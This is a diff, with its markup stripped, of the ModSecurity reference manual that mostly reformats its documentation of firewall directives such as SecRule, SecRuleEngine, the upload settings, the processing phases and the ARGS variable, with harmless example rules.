<literal>SecResponseBodyLimitAction</literal> - Description: Controls what happens once a response body limit, - configured with SecResponseBodyLimit, is encountered. By default - ModSecurity will reject a response body that is longer than specified. Some web sites, - however, will produce very long responses making it difficult to come up with a reasonable - limit. Such sites would have to raise the limit significantly to function properly defying - the purpose of having the limit in the first place (to control memory consumption). With the - ability to choose what happens once a limit is reached site administrators can choose to - inspect only the first part of the response, the part that can fit into the desired limit, - and let the rest through. Some could argue that allowing parts of responses to go - uninspected is a weakness. This is true in theory but only applies to cases where the - attacker controls the output (e.g. can make it arbitrary long). In such cases, however, it - is not possible to prevent leakage anyway. The attacker could compress, obfuscate, or even - encrypt data before it is sent back, and therefore bypass any monitoring device. + + Description: Controls what happens once a + response body limit, configured with + SecResponseBodyLimit, is encountered. By default + ModSecurity will reject a response body that is longer than specified. + Some web sites, however, will produce very long responses making it + difficult to come up with a reasonable limit. Such sites would have to + raise the limit significantly to function properly defying the purpose + of having the limit in the first place (to control memory consumption). + With the ability to choose what happens once a limit is reached site + administrators can choose to inspect only the first part of the + response, the part that can fit into the desired limit, and let the rest + through. Some could argue that allowing parts of responses to go + uninspected is a weakness. This is true in theory but only applies to + cases where the attacker controls the output (e.g. can make it arbitrary + long). In such cases, however, it is not possible to prevent leakage + anyway. The attacker could compress, obfuscate, or even encrypt data + before it is sent back, and therefore bypass any monitoring + device. + Syntax: SecResponseBodyLimitAction - Reject|ProcessPartial - Example Usage: SecResponseBodyLimitAction - ProcessPartial + Reject|ProcessPartial + + Example Usage: + SecResponseBodyLimitAction ProcessPartial + Processing Phase: N/A + Scope: Any + Version: 2.5.0 + Dependencies/Notes: None
+
<literal>SecResponseBodyMimeType</literal> - Description: Configures which - MIME types are to be considered for response body buffering. - Syntax: - SecResponseBodyMimeType mime/type - Example Usage: - SecResponseBodyMimeType text/plain text/html + + Description: Configures which MIME types are to be considered for response + body buffering. + + Syntax: SecResponseBodyMimeType mime/type + + Example Usage: SecResponseBodyMimeType text/plain + text/html + Processing Phase: N/A + Scope: Any + Version: 2.0.0 - Dependencies/Notes: Multiple - SecResponseBodyMimeType directives can be used to add - MIME types. - The default value is text/plaintext/html: + + Dependencies/Notes: Multiple SecResponseBodyMimeType directives can be + used to add MIME types. + + The default value is text/plaintext/html: + SecResponseBodyMimeType text/plain text/html
+
<literal>SecResponseBodyMimeTypesClear</literal> - Description: Clears the list of MIME types considered for response body buffering, allowing you to start - populating the list from scratch. - Syntax: - SecResponseBodyMimeTypesClear - Example Usage: - SecResponseBodyMimeTypesClear + + Description: Clears the list of MIME types considered for response body + buffering, allowing you to start populating the list from + scratch. + + Syntax: SecResponseBodyMimeTypesClear + + Example Usage: SecResponseBodyMimeTypesClear + Processing Phase: N/A + Scope: Any + Version: 2.0.0 + Dependencies/Notes: None
+
<literal>SecResponseBodyAccess</literal> - Description: Configures whether response bodies are to be buffer - and analysed or not. - Syntax: - SecResponseBodyAccess On|Off - Example Usage: - SecResponseBodyAccess On + + Description: Configures whether response + bodies are to be buffer and analysed or not. + + Syntax: SecResponseBodyAccess On|Off + + Example Usage: SecResponseBodyAccess On + Processing Phase: N/A + Scope: Any + Version: 2.0.0 - Dependencies/Notes: This directive is required if you plan to - inspect HTML responses. This directive must be used along with the "phase:4" processing - phase action and RESPONSE_BODY variable/location. If any of these 3 parts are not - configured, you will not be able to inspect the response bodies. + + Dependencies/Notes: This directive is + required if you plan to inspect HTML responses. This directive must be + used along with the "phase:4" processing phase action and RESPONSE_BODY + variable/location. If any of these 3 parts are not configured, you will + not be able to inspect the response bodies. + Possible values are: + - On - access response bodies (but only if the MIME - type matches, see above). + On - access response bodies + (but only if the MIME type matches, see above). + - Off - do not attempt to access response - bodies. + Off - do not attempt to + access response bodies.
+
<literal>SecRule</literal> - Description: - SecRule is the main ModSecurity directive. It is used to - analyse data and perform actions based on the results. - Syntax: - SecRule VARIABLES OPERATOR [ACTIONS] - Example Usage: - SecRule REQUEST_URI "attack" \ - "phase:1,t:none,t:urlDecode,t:lowercase,t:normalisePath" + + Description: SecRule is the main ModSecurity directive. It + is used to analyse data and perform actions based on the results. + + Syntax: SecRule + VARIABLES OPERATOR [ACTIONS] + + Example Usage: SecRule REQUEST_URI "attack" \ + + + "phase:1,t:none,t:urlDecode,t:lowercase,t:normalisePath" + Processing Phase: Any + Scope: Any + Version: 2.0.0 + Dependencies/Notes: None + In general, the format of this rule is as follows: + SecRule VARIABLES OPERATOR [ACTIONS] - The second part, OPERATOR, specifies how they are - going to be checked. The third (optional) part, ACTIONS, - specifies what to do whenever the operator used performs a successful match against a - variable. + + The second part, OPERATOR, + specifies how they are going to be checked. The third (optional) part, + ACTIONS, specifies what to do + whenever the operator used performs a successful match against a + variable. +
Variables in rules - The first part, VARIABLES, specifies which - variables are to be checked. For example, the following rule will reject a transaction - that has the word dirty in the URI: + + The first part, VARIABLES, + specifies which variables are to be checked. For example, the + following rule will reject a transaction that has the word + dirty in the URI: + SecRule ARGS dirty + Each rule can specify one or more variables: + SecRule ARGS|REQUEST_HEADERS:User-Agent dirty - There is a third format supported by the selection operator - XPath expression. XPath - expressions can only used against the special variable XML, which is available only of the - request body was processed as XML. + + There is a third format supported by the selection operator - + XPath expression. XPath expressions can only used against the special + variable XML, which is available only of the request body was + processed as XML. + SecRule XML:/xPath/Expression dirty + - Not all collections support all selection operator format types. You should refer to - the documentation of each collection to determine what is and isn't supported. + Not all collections support all selection operator format + types. You should refer to the documentation of each collection to + determine what is and isn't supported.
+
Collections - A variable can contain one or many pieces of data, depending on the nature of the - variable and the way it is used. We've seen examples of both approaches in the previous - section. When a variable can contain more than one value we refer to it as a - collection. - Collections are always expanded before a rule is run. For example, the following - rule: + + A variable can contain one or many pieces of data, depending on + the nature of the variable and the way it is used. We've seen examples + of both approaches in the previous section. When a variable can + contain more than one value we refer to it as a + collection. + + Collections are always expanded before a rule is run. For + example, the following rule: + SecRule ARGS dirty + will be expanded to: + SecRule ARGS:p dirty SecRule ARGS:q dirty - in a requests that has only two parameters, named p and q. + + in a requests that has only two parameters, named + p and q. + Collections come in several flavours: + Read-only + - Created at runtime using transaction data. For example: ARGS - (contains a list of all request parameter values) and REQUEST_HEADERS (contains a list of all request header values). + Created at runtime using transaction data. For example: + ARGS (contains a list of all request + parameter values) and REQUEST_HEADERS + (contains a list of all request header values). + Transient Read/Write + - The TX collection is created (empty) for every transaction. - Rules can read from it and write to it (using the setvar action, - for example), but the information stored in this collection will not survive the end - of transaction. + The TX collection is created (empty) + for every transaction. Rules can read from it and write to it + (using the setvar action, for example), but + the information stored in this collection will not survive the + end of transaction. + Persistent Read/Write + - There are several collections that can be written to, but which are persisted to - the storage backend. These collections are used to track clients across - transactions. Examples of collections that fall into this type are IP, SESSION and USER. + There are several collections that can be written to, but + which are persisted to the storage backend. These collections + are used to track clients across transactions. Examples of + collections that fall into this type are IP, + SESSION and USER.
+
Operators in rules - In the simplest possible case you will use a regular expression pattern as the second - rule parameter. This is what we've done in the examples above. If you do this ModSecurity - assumes you want to use the rx (regular expression) - operator. You can also explicitly specify the operator you want to use by using @, followed by the name of an operator, at the beginning of - the second SecRule parameter: + + In the simplest possible case you will use a regular expression + pattern as the second rule parameter. This is what we've done in the + examples above. If you do this ModSecurity assumes you want to use the + rx (regular expression) operator. + You can also explicitly specify the operator you want to use by using + @, followed by the name of an + operator, at the beginning of the second SecRule + parameter: + SecRule ARGS "@rx dirty" - Note how we had to use double quotes to delimit the second rule parameter. This is - because the second parameter now has whitespace in it. Any number of whitespace characters - can follow the name of the operator. If there are any non-whitespace characters there, - they will all be treated as a special parameter to the operator. In the case of the - regular expression operator the special parameter is the pattern that will be used for - comparison. - The @ can be the second character if you are using negation to negate the result - returned by the operator: + + Note how we had to use double quotes to delimit the second rule + parameter. This is because the second parameter now has whitespace in + it. Any number of whitespace characters can follow the name of the + operator. If there are any non-whitespace characters there, they will + all be treated as a special parameter to the operator. In the case of + the regular expression operator the special parameter is the pattern + that will be used for comparison. + + The @ can be the second character if you are using negation to + negate the result returned by the operator: + SecRule &ARGS "!@rx ^0$"
+
Operator negation - Operator results can be negated by using an exclamation mark at the beginning of the - second parameter. The following rule matches if the word dirty does - not appear in the User-Agent request - header: + + Operator results can be negated by using an exclamation mark at + the beginning of the second parameter. The following rule matches if + the word dirty does not appear + in the User-Agent request header: + SecRule REQUEST_HEADERS:User-Agent !dirty - You can use the exclamation mark in combination with any parameter. If you do, the - exclamation mark needs to go first, followed by the explicit operator reference. The - following rule has the same effect as the previous example: + + You can use the exclamation mark in combination with any + parameter. If you do, the exclamation mark needs to go first, followed + by the explicit operator reference. The following rule has the same + effect as the previous example: + SecRule REQUEST_HEADERS:User-Agent "!@rx dirty" - If you need to use negation in a rule that is going to be applied to several variables - then it may not be immediately clear what will happen. Consider the following - example: + + If you need to use negation in a rule that is going to be + applied to several variables then it may not be immediately clear what + will happen. Consider the following example: + SecRule ARGS:p|ARGS:q !dirty + The above rule is identical to: + SecRule ARGS:p !dirty SecRule ARGS:q !dirty + - Negation is applied to operations against individual operations, not agains the - entire variable list. + Negation is applied to operations against individual + operations, not agains the entire variable list.
+
Actions in rules - The third parameter, ACTIONS, can be omitted only - because there is a helper feature that specifies the default action list. If the parameter - isn't omitted the actions specified in the parameter will be merged with the default - action list to create the actual list of actions that will be processed on a rule - match. + + The third parameter, ACTIONS, + can be omitted only because there is a helper feature that specifies + the default action list. If the parameter isn't omitted the actions + specified in the parameter will be merged with the default action list + to create the actual list of actions that will be processed on a rule + match.
+
<literal>SecRuleInheritance</literal> - Description: Configures whether the current context will inherit - rules from the parent context (configuration options are inherited in most cases - you - should look up the documentation for every directive to determine if it is inherited or - not). - Syntax: - SecRuleInheritance On|Off - Example Usage: - SecRuleInheritance Off + + Description: Configures whether the current + context will inherit rules from the parent context (configuration + options are inherited in most cases - you should look up the + documentation for every directive to determine if it is inherited or + not). + + Syntax: SecRuleInheritance On|Off + + Example Usage: SecRuleInheritance Off + Processing Phase: Any + Scope: Any + Version: 2.0.0 - Dependencies/Notes: Resource-specific contexts (e.g. Location, Directory, etc) - cannot override phase1 rules configured in the main server or in the - virtual server. This is because phase 1 is run early in the request processing process, - before Apache maps request to resource. Virtual host context can override phase 1 rules - configured in the main server. - Example: The following example shows where ModSecurity may be enabled in the main Apache - configuration scope, however you might want to configure your VirtualHosts differently. In - the first example, the first VirtualHost is not inheriting the ModSecurity main config - directives and in the second one it is. - SecRuleEnine On + + Dependencies/Notes: Resource-specific + contexts (e.g. Location, Directory, etc) cannot override + phase1 rules configured in the main server or in + the virtual server. This is because phase 1 is run early in the request + processing process, before Apache maps request to resource. Virtual host + context can override phase 1 rules configured in the main server. + + Example: The following example shows where ModSecurity may be + enabled in the main Apache configuration scope, however you might want + to configure your VirtualHosts differently. In the first example, the + first VirtualHost is not inheriting the ModSecurity main config + directives and in the second one it is. + + SecRuleEngine On SecDefaultAction log,pass,phase:2 ... @@ -1293,104 +2016,161 @@ ServerAlias www.app2.com SecRuleInheritance On SecRule ARGS "attack" ... </VirtualHost> + Possible values are: + - On - inherit rules from the parent - context. + On - inherit rules from the + parent context. + - Off - do not inherit rules from the parent - context. + Off - do not inherit rules + from the parent context. + - Configuration contexts are an Apache concept. Directives <Directory>, <Files>, <Location> and <VirtualHost> are all used - to create configuration contexts. For more information please go to the Apache - documentation section Configuration Sections. + Configuration contexts are an Apache concept. Directives + <Directory>, + <Files>, + <Location> and + <VirtualHost> are all used to create + configuration contexts. For more information please go to the + Apache documentation section Configuration + Sections.
+
<literal>SecRuleEngine</literal> - Description: Configures the rules engine. - Syntax: - SecRuleEngine On|Off|DetectionOnly - Example Usage: - SecRuleEngine On + + Description: Configures the rules + engine. + + Syntax: SecRuleEngine On|Off|DetectionOnly + + Example Usage: SecRuleEngine On + Processing Phase: Any + Scope: Any + Version: 2.0.0 - Dependencies/Notes: This directive can also be controlled by the - ctl action (ctl:ruleEngine=off) for per rule processing. + + Dependencies/Notes: This directive can also + be controlled by the ctl action (ctl:ruleEngine=off) for per rule + processing. + Possible values are: + On - process rules. + - Off - do not process rules. + Off - do not process + rules. + - DetectionOnly - process rules but never intercept - transactions, even when rules are configured to do so. + DetectionOnly - process + rules but never intercept transactions, even when rules are + configured to do so.
+
<literal>SecRuleRemoveById</literal> - Description: Removes matching rules from the parent - contexts. - Syntax: - SecRuleUpdateActionById RULEID ACTIONLIST - Example Usage: - SecRuleRemoveByID 1 2 "9000-9010" + + Description: Removes matching rules from the + parent contexts. + + Syntax: SecRuleUpdateActionById RULEID + ACTIONLIST + + Example Usage: SecRuleRemoveByID 1 2 "9000-9010" + Processing Phase: Any + Scope: Any + Version: 2.0.0 - Dependencies/Notes: This directive supports multiple parameters, - where each parameter can either be a rule ID, or a range. Parameters that contain spaces - must be delimited using double quotes. + + Dependencies/Notes: This directive supports + multiple parameters, where each parameter can either be a rule ID, or a + range. Parameters that contain spaces must be delimited using double + quotes. + SecRuleRemoveById 1 2 5 10-20 "400-556" 673
+
<literal>SecRuleRemoveByMsg</literal> - Description: Removes matching rules from the parent - contexts. - Syntax: - SecRuleRemoveByMsg REGEX - Example Usage: - SecRuleRemoveByMsg "FAIL" + + Description: Removes matching rules from the + parent contexts. + + Syntax: SecRuleRemoveByMsg REGEX + + Example Usage: SecRuleRemoveByMsg "FAIL" + Processing Phase: Any + Scope: Any + Version: 2.0.0 - Dependencies/Notes: This directive supports multiple parameters. - Each parameter is a regular expression that will be applied to the message (specified using - the msg action). + + Dependencies/Notes: This directive supports + multiple parameters. Each parameter is a regular expression that will be + applied to the message (specified using the msg action).
+
<literal>SecRuleScript</literal> (Experimental) - Description: This directive creates a special rule that executes a - Lua script to decide whether to match or not. The main difference from SecRule is that there are no targets nor operators. The script can fetch any - variable from the ModSecurity context and use any (Lua) operator to test them. The second - optional parameter is the list of actions whose meaning is identical to that of SecRule. - Syntax: - SecRuleScript /path/to/script.lua [ACTIONS] - Example Usage: - SecRuleScript "/path/to/file.lua" "block" + + Description: This directive creates a special + rule that executes a Lua script to decide whether to match or not. The + main difference from SecRule is that there are no + targets nor operators. The script can fetch any variable from the + ModSecurity context and use any (Lua) operator to test them. The second + optional parameter is the list of actions whose meaning is identical to + that of SecRule. + + Syntax: SecRuleScript + /path/to/script.lua [ACTIONS] + + Example Usage: SecRuleScript "/path/to/file.lua" + "block" + Processing Phase: Any + Scope: Any + Version: 2.5.0 + Dependencies/Notes: None + - All Lua scripts are compiled at configuration time and cached in memory. To reload - scripts you must reload the entire ModSecurity configuration by restarting Apache. + All Lua scripts are compiled at configuration time and cached in + memory. To reload scripts you must reload the entire ModSecurity + configuration by restarting Apache. + Example script: + -- Your script must define the main entry -- point, as below. function main() @@ -1420,11 +2200,15 @@ function main() -- Otherwise, simply return nil. return nil; end - In this first example we were only retrieving one variable at the time. In this case the - name of the variable is known to you. In many cases, however, you will want to examine - variables whose names you won't know in advance, for example script parameters. - Example showing use of m.getvars() to retrieve many variables at - once: + + In this first example we were only retrieving one variable at the + time. In this case the name of the variable is known to you. In many + cases, however, you will want to examine variables whose names you won't + know in advance, for example script parameters. + + Example showing use of m.getvars() to retrieve + many variables at once: + function main() -- Retrieve script parameters. local d = m.getvars("ARGS", { "lowercase", "htmlEntityDecode" } ); @@ -1442,162 +2226,233 @@ end -- Nothing wrong found. return nil; end + - Go to http://www.lua.org/ to find more about - the Lua programming language. The reference manual too is available online, at http://www.lua.org/manual/5.1/. + Go to http://www.lua.org/ to find more + about the Lua programming language. The reference manual too is + available online, at http://www.lua.org/manual/5.1/. + - Lua support is marked as experimental as the way the progamming - interface may continue to evolve while we are working for the best implementation style. - Any user input into the programming interface is appreciated. + Lua support is marked as experimental as + the way the progamming interface may continue to evolve while we are + working for the best implementation style. Any user input into the + programming interface is appreciated.
+
<literal>SecRuleUpdateActionById</literal> - Description: Updates the action list of the specified rule. - Syntax: - SecRuleUpdateActionById RULEID ACTIONLIST - Example Usage: - SecRuleUpdateActionById 12345 deny,status:403 + + Description: Updates the action list of the + specified rule. + + Syntax: SecRuleRemoveById RULEID ACTIONLIST + + Example Usage: SecRuleUpdateActionById 12345 + deny,status:403 + Processing Phase: Any + Scope: Any + Version: 2.5.0 - Dependencies/Notes: This directive merges the specified action list - with the rule's action list. There are two limitations. The rule ID cannot be changed, nor - can the phase. Further note that actions that may be specified multiple times are appended - to the original. + + Dependencies/Notes: This directive merges the + specified action list with the rule's action list. There are two + limitations. The rule ID cannot be changed, nor can the phase. Further + note that actions that may be specified multiple times are appended to + the original. + SecAction \ "t:lowercase,phase:2,id:12345,pass,msg:'The Message',log,auditlog" SecRuleUpdateActionById 12345 "t:compressWhitespace,deny,status:403,msg:'A new message' - The example above will cause the rule to be executed as if it was specified as - follows: + + The example above will cause the rule to be executed as if it was + specified as follows: + SecAction \ "t:lowercase,phase:2,id:12345,log,auditlog,t:compressWhitespace,deny,status:403,msg:'A new message'"
+
<literal>SecServerSignature</literal> - Description: Instructs ModSecurity to change the data presented in - the Server response header token. - Syntax: - SecServerSignature "WEB SERVER SOFTWARE" - Example Usage: - SecServerSignature "Netscape-Enterprise/6.0" + + Description: Instructs ModSecurity to change + the data presented in the "Server:" response header token. + + Syntax: SecServerSignature "WEB SERVER + SOFTWARE" + + Example Usage: SecServerSignature + "Netscape-Enterprise/6.0" + Processing Phase: N/A + Scope: Main + Version: 2.0.0 - Dependencies/Notes: In order for this directive to work, you must - set the Apache ServerTokens directive to Full. ModSecurity will overwrite the server - signature data held in this memory space with the data set in this directive. If - ServerTokens is not set to Full, then the memory space is most likely not large enough to - hold the new data we are looking to insert. -
-
- <literal>SecStreamInspection</literal> - Description: Controls inspection of streams. Enabled by default. - Example: SecStreamInspection Off - Processing Phase: N/A - Version: 3.0.0 -
-
- <literal>SecStreamInspect</literal> - Description: - Example: SecStreamInspect REQUEST_BODY "@pm this that" - log,warn,t:none - Processing Phase: N/A; streams are processed as they become available. - Version: 3.0.0 + + Dependencies/Notes: In order for this + directive to work, you must set the Apache ServerTokens directive to + Full. ModSecurity will overwrite the server signature data held in this + memory space with the data set in this directive. If ServerTokens is not + set to Full, then the memory space is most likely not large enough to + hold the new data we are looking to insert.
+
<literal>SecTmpDir</literal> - Description: Configures the directory where temporary files will be - created. - Syntax: - SecTmpDir /path/to/dir - Example Usage: - SecTmpDir /tmp + + Description: Configures the directory where + temporary files will be created. + + Syntax: SecTmpDir + /path/to/dir + + Example Usage: SecTmpDir /tmp + Processing Phase: N/A + Scope: Any + Version: 2.0.0 - Dependencies/Notes: Needs to be writable by the Apache user - process. This is the directory location where Apache will swap data to disk if it runs out - of memory (more data than what was specified in the SecRequestBodyInMemoryLimit directive) - during inspection. + + Dependencies/Notes: Needs to be writable by + the Apache user process. This is the directory location where Apache + will swap data to disk if it runs out of memory (more data than what was + specified in the SecRequestBodyInMemoryLimit directive) during + inspection.
+
<literal>SecUploadDir</literal> - Description: Configures the directory where intercepted files will - be stored. - Syntax: - SecUploadDir /path/to/dir - Example Usage: - SecUploadDir /tmp + + Description: Configures the directory where + intercepted files will be stored. + + Syntax: SecUploadDir + /path/to/dir + + Example Usage: SecUploadDir /tmp + Processing Phase: N/A + Scope: Any + Version: 2.0.0 - Dependencies/Notes: This directory must be on the same filesystem - as the temporary directory defined with SecTmpDir. This - directive is used with SecUploadKeepFiles. + + Dependencies/Notes: This directory must be on + the same filesystem as the temporary directory defined with SecTmpDir. This directive is used with + SecUploadKeepFiles.
+
<literal>SecUploadFileMode</literal> - Description: Configures the mode (permissions) of any uploaded - files using an octal number (as used in chmod). - Syntax: - SecUploadFileMode octal_mode|"default" - Example Usage: - SecUploadFileMode 0640 + + Description: Configures the mode + (permissions) of any uploaded files using an octal number (as used in + chmod). + + Syntax: SecUploadFileMode octal_mode|"default" + + Example Usage: SecUploadFileMode 0640 + Processing Phase: N/A + Scope: Any + Version: 2.1.6 - Dependencies/Notes: This feature is not available on operating - systems not supporting octal file modes. The default mode (0600) only grants read/write - access to the account writing the file. If access from another account is needed (using - clamd is a good example), then this directive may be required. However, use this directive - with caution to avoid exposing potentially sensitive data to unauthorized users. Using the - value "default" will revert back to the default setting. + + Dependencies/Notes: This feature is not + available on operating systems not supporting octal file modes. The + default mode (0600) only grants read/write access to the account writing + the file. If access from another account is needed (using clamd is a + good example), then this directive may be required. However, use this + directive with caution to avoid exposing potentially sensitive data to + unauthorized users. Using the value "default" will revert back to the + default setting.
+
<literal>SecUploadKeepFiles</literal> - Description: Configures whether or not the intercepted files will - be kept after transaction is processed. - Syntax: - SecUploadKeepFiles On|Off|RelevantOnly - Example Usage: - SecUploadKeepFiles On + + Description: Configures whether or not the + intercepted files will be kept after transaction is processed. + + Syntax: SecUploadKeepFiles On|Off|RelevantOnly + + Example Usage: SecUploadKeepFiles On + Processing Phase: N/A + Scope: Any + Version: 2.0.0 - Dependencies/Notes: This directive requires the storage directory - to be defined (using SecUploadDir). + + Dependencies/Notes: This directive requires + the storage directory to be defined (using SecUploadDir). + Possible values are: + - On - Keep uploaded files. + On - Keep uploaded + files. + - Off - Do not keep uploaded files. + Off - Do not keep uploaded + files. + - RelevantOnly - This will keep only those files - that belong to requests that are deemed relevant. + RelevantOnly - This will + keep only those files that belong to requests that are deemed + relevant.
+
<literal>SecWebAppId</literal> - Description: Creates a partition on the server that belongs to one - web application. - Syntax: - SecWebAppId "NAME" - Example Usage: - SecWebAppId "WebApp1" + + Description: Creates a partition on the + server that belongs to one web application. + + Syntax: SecWebAppId + "NAME" + + Example Usage: SecWebAppId "WebApp1" + Processing Phase: N/A + Scope: Any + Version: 2.0.0 - Dependencies/Notes: Partitions are used to avoid collisions between - session IDs and user IDs. This directive must be used if there are multiple applications - deployed on the same server. If it isn't used, a collision between session IDs might occur. - The default value is default. Example: + + Dependencies/Notes: Partitions are used to + avoid collisions between session IDs and user IDs. This directive must + be used if there are multiple applications deployed on the same server. + If it isn't used, a collision between session IDs might occur. The + default value is default. + Example: + <VirtualHost *:80> ServerName app1.com ServerAlias www.app1.com @@ -1615,378 +2470,533 @@ SecRule REQUEST_COOKIES:PHPSESSID !^$ chain,nolog,pass SecAction setsid:%{REQUEST_COOKIES.PHPSESSID} ... </VirtualHost> - In the two examples configurations shown, SecWebAppId is being used in conjunction with - the Apache VirtualHost directives. What this achieves is to create more unique collection - names when being hosted on one server. Normally, when setsid is used, ModSecurity will - create a collection with the name "SESSION" and it will hold the value specified. With using - SecWebAppId as shown in the examples, however, the name of the collection would become - "App1_SESSION" and "App2_SESSION". + + In the two examples configurations shown, SecWebAppId is being + used in conjunction with the Apache VirtualHost directives. What this + achieves is to create more unique collection names when being hosted on + one server. Normally, when setsid is used, ModSecurity will create a + collection with the name "SESSION" and it will hold the value specified. + With using SecWebAppId as shown in the examples, however, the name of + the collection would become "App1_SESSION" and "App2_SESSION". + SecWebAppId is relevant in two cases: + - You are logging transactions/alerts to the ModSecurity Console and you want to use - the web application ID to search only the transactions belonging to that - application. + You are logging transactions/alerts to the ModSecurity Console + and you want to use the web application ID to search only the + transactions belonging to that application. + - You are using the data persistence facility (collections SESSION and USER) and you - need to avoid collisions between sessions and users belonging to different - applications. + You are using the data persistence facility (collections + SESSION and USER) and you need to avoid collisions between sessions + and users belonging to different applications.
+
Processing Phases - ModSecurity 2.x allows rules to be placed in one of the following five phases: + + ModSecurity 2.x allows rules to be placed in one of the following + five phases: + Request headers (REQUEST_HEADERS) + Request body (REQUEST_BODY) + Response headers (RESPONSE_HEADERS) + Response body (RESPONSE_BODY) + Logging (LOGGING) - Below is a diagram of the standard Apache Request Cycle. In the diagram, the 5 ModSecurity - processing phases are shown. - - - - In order to select the phase a rule executes during, use the phase action either directly - in the rule or in using the SecDefaultAction directive: + + Below is a diagram of the standard Apache Request Cycle. In the + diagram, the 5 ModSecurity processing phases are shown. + + + + In order to select the phase a rule executes during, use the phase + action either directly in the rule or in using the + SecDefaultAction directive: + SecDefaultAction "log,pass,phase:2" SecRule REQUEST_HEADERS:Host "!^$" "deny,phase:1" + - Keep in mind that rules are executed according to phases, so even if two rules are - adjacent in a configuration file, but are set to execute in different phases, they would not - happen one after the other. The order of rules in the configuration file is important only - within the rules of each phase. This is especially important when using the skip and skipAfter actions. + Keep in mind that rules are executed according to phases, so even + if two rules are adjacent in a configuration file, but are set to + execute in different phases, they would not happen one after the other. + The order of rules in the configuration file is important only within + the rules of each phase. This is especially important when using the + skip and skipAfter actions. + - The LOGGING phase is special. It is executed at the end of each - transaction no matter what happened in the previous phases. This means it will be processed - even if the request was intercepted or the allow action was used to pass - the transaction through. + The LOGGING phase is special. It is executed at + the end of each transaction no matter what happened in the previous + phases. This means it will be processed even if the request was + intercepted or the allow action was used to pass the + transaction through. +
Phase Request Headers - Rules in this phase are processed immediately after Apache completes reading the request - headers (post-read-request phase). At this point the request body has not been read yet, - meaning not all request arguments are available. Rules should be placed in this phase if you - need to have them run early (before Apache does something with the request), to do something - before the request body has been read, determine whether or not the request body should be - buffered, or decide how you want the request body to be processed (e.g. whether to parse it - as XML or not). + + Rules in this phase are processed immediately after Apache + completes reading the request headers (post-read-request phase). At this + point the request body has not been read yet, meaning not all request + arguments are available. Rules should be placed in this phase if you + need to have them run early (before Apache does something with the + request), to do something before the request body has been read, + determine whether or not the request body should be buffered, or decide + how you want the request body to be processed (e.g. whether to parse it + as XML or not). + Note - Rules in this phase can not leverage Apache scope directives (Directory, Location, - LocationMatch, etc...) as the post-read-request hook does not have this information yet. The - exception here is the VirtualHost directive. If you want to use ModSecurity rules inside - Apache locations, then they should run in Phase 2. Refer to the Apache Request - Cycle/ModSecurity Processing Phases diagram. + + Rules in this phase can not leverage Apache scope directives + (Directory, Location, LocationMatch, etc...) as the post-read-request + hook does not have this information yet. The exception here is the + VirtualHost directive. If you want to use ModSecurity rules inside + Apache locations, then they should run in Phase 2. Refer to the Apache + Request Cycle/ModSecurity Processing Phases diagram.
+
Phase Request Body - This is the general-purpose input analysis phase. Most of the application-oriented rules - should go here. In this phase you are guaranteed to have received the request arguments - (provided the request body has been read). ModSecurity supports three encoding types for the - request body phase: + + This is the general-purpose input analysis phase. Most of the + application-oriented rules should go here. In this phase you are + guaranteed to have received the request arguments (provided the request + body has been read). ModSecurity supports three encoding types for the + request body phase: + - application/x-www-form-urlencoded - used to transfer form - data + application/x-www-form-urlencoded - used to + transfer form data + - multipart/form-data - used for file transfers + multipart/form-data - used for file + transfers + text/xml - used for passing XML data + Other encodings are not used by most web applications.
+
Phase Response Headers - This phase takes place just before response headers are sent back to the client. Run - here if you want to observe the response before that happens, and if you want to use the - response headers to determine if you want to buffer the response body. Note that some - response status codes (such as 404) are handled earlier in the request cycle by Apache and - my not be able to be triggered as expected. Additionally, there are some response headers - that are added by Apache at a later hook (such as Date, Server and Connection) that we would - not be able to trigger on or sanitize. This should work appropriately in a proxy setup or - within phase:5 (logging). + + This phase takes place just before response headers are sent back + to the client. Run here if you want to observe the response before that + happens, and if you want to use the response headers to determine if you + want to buffer the response body. Note that some response status codes + (such as 404) are handled earlier in the request cycle by Apache and my + not be able to be triggered as expected. Additionally, there are some + response headers that are added by Apache at a later hook (such as Date, + Server and Connection) that we would not be able to trigger on or + sanitize. This should work appropriately in a proxy setup or within + phase:5 (logging).
+
Phase Response Body - This is the general-purpose output analysis phase. At this point you can run rules - against the response body (provided it was buffered, of course). This is the phase where you - would want to inspect the outbound HTML for information disclosure, error messages or failed - authentication text. + + This is the general-purpose output analysis phase. At this point + you can run rules against the response body (provided it was buffered, + of course). This is the phase where you would want to inspect the + outbound HTML for information disclosure, error messages or failed + authentication text.
+
Phase Logging - This phase is run just before logging takes place. The rules placed into this phase can - only affect how the logging is performed. This phase can be used to inspect the error - messages logged by Apache. You cannot deny/block connections in this phase as it is too - late. This phase also allows for inspection of other response headers that weren't available - during phase:3 or phase:4. Note that you must be careful not to inherit a disruptive action - into a rule in this phase as this is a configuration error in ModSecurity 2.5.0 and later - versions. + + This phase is run just before logging takes place. The rules + placed into this phase can only affect how the logging is performed. + This phase can be used to inspect the error messages logged by Apache. + You cannot deny/block connections in this phase as it is too late. This + phase also allows for inspection of other response headers that weren't + available during phase:3 or phase:4. Note that you must be careful not + to inherit a disruptive action into a rule in this phase as this is a + configuration error in ModSecurity 2.5.0 and later versions.
+
Variables + The following variables are supported in ModSecurity 2.x: +
<literal moreinfo="none">ARGS</literal> - ARGS is a collection and can be used on its own (means all arguments - including the POST Payload), with a static parameter (matches arguments with that name), or - with a regular expression (matches all arguments with name that matches the regular - expression). To look at only the query string or body arguments, see the ARGS_GET and ARGS_POST collections. - Some variables are actually collections, which are expanded into more variables at - runtime. The following example will examine all request - arguments:SecRule ARGS dirty - Sometimes, however, you will want to look only at parts of a collection. This can be - achieved with the help of the selection operator(colon). The following - example will only look at the arguments named p (do note - that, in general, requests can contain multiple arguments with the same name): - SecRule ARGS:p dirty It is also - possible to specify exclusions. The following will examine all request arguments for the - word dirty, except the ones named z (again, there can be zero or more arguments named - z): - SecRule ARGS|!ARGS:z dirty There is a - special operator that allows you to count how many variables there are in a collection. The - following rule will trigger if there is more than zero arguments in the request (ignore the - second parameter for the time being): - SecRule &ARGS !^0$ And sometimes - you need to look at an array of parameters, each with a slightly different name. In this - case you can specify a regular expression in the selection operator itself. The following - rule will look into all arguments whose names begin with id_: - SecRule ARGS:/^id_/ dirty + + ARGS is a collection and can be used on its own + (means all arguments including the POST Payload), with a static + parameter (matches arguments with that name), or with a regular + expression (matches all arguments with name that matches the regular + expression). To look at only the query string or body arguments, see the + ARGS_GET and ARGS_POST + collections. + + Some variables are actually collections, which are expanded into + more variables at runtime. The following example will examine all + request arguments:SecRule ARGS dirty + Sometimes, however, you will want to look only at parts of a collection. + This can be achieved with the help of the selection + operator(colon). The following example will only look 